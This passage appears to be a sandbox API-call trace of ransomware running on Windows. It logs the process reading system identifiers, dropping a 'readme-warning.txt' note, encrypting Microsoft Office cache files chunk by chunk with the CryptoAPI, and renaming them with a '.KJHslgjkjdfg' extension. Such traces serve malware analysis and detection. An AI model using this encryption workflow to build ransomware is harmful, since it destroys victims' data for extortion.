ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0146.588] GetProcessHeap () returned 0x990000 [0146.588] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0146.588] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0146.588] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29df330 | out: pbData=0x9af7b0, pdwDataLen=0x29df330) returned 1 [0146.588] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0146.588] GetProcessHeap () returned 0x990000 [0146.588] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0146.589] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0146.589] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29df330 | out: pbData=0x9af7f8, pdwDataLen=0x29df330) returned 1 [0146.589] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0146.589] GetProcessHeap () returned 0x990000 [0146.589] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9dc8a8 [0146.589] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0146.589] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9dc8a8, pdwDataLen=0x29df330 | out: pbData=0x9dc8a8, pdwDataLen=0x29df330) returned 1 [0146.589] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0146.589] GetProcessHeap () returned 0x990000 [0146.589] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0146.589] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0146.589] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29def10 | out: pbData=0x9af840, pdwDataLen=0x29def10) returned 1 [0146.589] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0146.589] GetProcessHeap () returned 0x990000 [0146.589] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1918 [0146.590] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0146.590] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1918, pdwDataLen=0x29def10 | out: pbData=0x9b1918, pdwDataLen=0x29def10) returned 1 [0146.590] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0146.590] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29def0c | out: phkResult=0x29def0c*=0x124) returned 0x0 [0146.590] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29def18, lpcbData=0x29def14*=0x400 | out: lpType=0x0, lpData=0x29def18*=0x30, lpcbData=0x29def14*=0x18) returned 0x0 [0146.590] RegCloseKey (hKey=0x124) returned 0x0 [0146.590] GetProcessHeap () returned 0x990000 [0146.590] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0146.590] GetProcessHeap () returned 0x990000 [0146.590] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0146.590] GetProcessHeap () returned 0x990000 [0146.590] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1918 [0146.590] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0146.590] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1918, pdwDataLen=0x29dece4 | out: pbData=0x9b1918, pdwDataLen=0x29dece4) returned 1 [0146.590] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0146.591] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29dece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0146.591] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29dece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29dece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0146.591] GetProcessHeap () returned 0x990000 [0146.591] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0146.591] wsprintfA (in: param_1=0x29def2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0146.591] wsprintfA (in: param_1=0x29df33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0146.591] GetProcessHeap () returned 0x990000 [0146.591] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0146.591] wsprintfW (in: param_1=0x29de30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0146.591] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0146.592] WriteFile (in: hFile=0x124, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29de308, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29de308*=0x3b3, lpOverlapped=0x0) returned 1 [0146.593] CloseHandle (hObject=0x124) returned 1 [0146.593] GetProcessHeap () returned 0x990000 [0146.593] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc8a8 | out: hHeap=0x990000) returned 1 [0146.593] GetProcessHeap () returned 0x990000 [0146.593] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0146.594] GetProcessHeap () returned 0x990000 [0146.594] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0146.594] GetProcessHeap () returned 0x990000 [0146.594] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0146.594] FindClose (in: hFindFile=0x9b6528 | out: hFindFile=0x9b6528) returned 1 [0146.594] GetProcessHeap () returned 0x990000 [0146.594] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc610 | out: hHeap=0x990000) returned 1 [0146.594] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{90140000-0019-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9877A~1")) returned 1 [0146.594] GetProcessHeap () returned 0x990000 [0146.594] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8e) returned 0x9b2468 [0146.594] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6528 [0146.613] GetProcessHeap () returned 0x990000 [0146.613] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0146.613] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0146.613] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x265c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PublisherMUI.msi", cAlternateFileName="PUBLIS~1.MSI")) returned 1 [0146.613] GetProcessHeap () returned 0x990000 [0146.613] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x290) returned 0x9dc610 [0146.613] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0146.637] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x29df508 | out: lpFileSize=0x29df508*=2513920) returned 1 [0146.637] GetProcessHeap () returned 0x990000 [0146.637] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0146.637] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0146.637] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.637] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0146.637] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0146.637] GetProcessHeap () returned 0x990000 [0146.638] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0146.638] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40) returned 1 [0146.638] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0146.638] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f4*=0x40, lpOverlapped=0x0) returned 1 [0146.723] WriteFile (in: hFile=0x124, lpBuffer=0x29df4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df4fc*, lpNumberOfBytesWritten=0x29df4f4*=0x4, lpOverlapped=0x0) returned 1 [0146.723] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f4*=0x10, lpOverlapped=0x0) returned 1 [0146.723] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f4*=0x80, lpOverlapped=0x0) returned 1 [0146.724] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0146.724] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f4*=0x8, lpOverlapped=0x0) returned 1 [0146.724] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0146.724] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0146.724] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0146.724] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0146.729] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0146.733] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.733] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0146.733] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x265cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.733] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0146.734] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0146.734] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0146.754] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0146.757] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.757] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0146.760] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x265cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.760] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0146.760] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0146.760] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0146.846] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0146.849] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.849] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0146.851] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x265cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.851] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0146.851] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0146.851] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x265cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.851] SetEndOfFile (hFile=0x124) returned 1 [0146.853] GetProcessHeap () returned 0x990000 [0146.853] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0146.854] GetProcessHeap () returned 0x990000 [0146.854] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0146.854] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.kjhslgjkjdfg")) returned 1 [0146.952] CloseHandle (hObject=0x124) returned 1 [0146.952] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PublisherMUI.xml", cAlternateFileName="PUBLIS~1.XML")) returned 1 [0146.952] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0146.952] GetProcessHeap () returned 0x990000 [0146.952] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0146.952] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0146.953] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0146.953] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0x6, lpOverlapped=0x0) returned 1 [0146.957] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0146.957] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0146.957] GetProcessHeap () returned 0x990000 [0146.957] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0146.957] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0146.957] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0146.957] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0146.958] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0146.958] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0146.958] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0146.958] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0146.958] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0146.958] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0146.958] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0146.958] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.958] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5aa, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x5aa, lpOverlapped=0x0) returned 1 [0146.958] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x5b0) returned 1 [0146.958] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.958] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x5b0, lpOverlapped=0x0) returned 1 [0146.959] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0146.959] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.959] SetEndOfFile (hFile=0x124) returned 1 [0146.961] GetProcessHeap () returned 0x990000 [0146.961] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0146.962] GetProcessHeap () returned 0x990000 [0146.962] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0146.962] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.kjhslgjkjdfg")) returned 1 [0146.968] CloseHandle (hObject=0x124) returned 1 [0146.968] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc47e320, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x97f3f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PubLR.cab", cAlternateFileName="")) returned 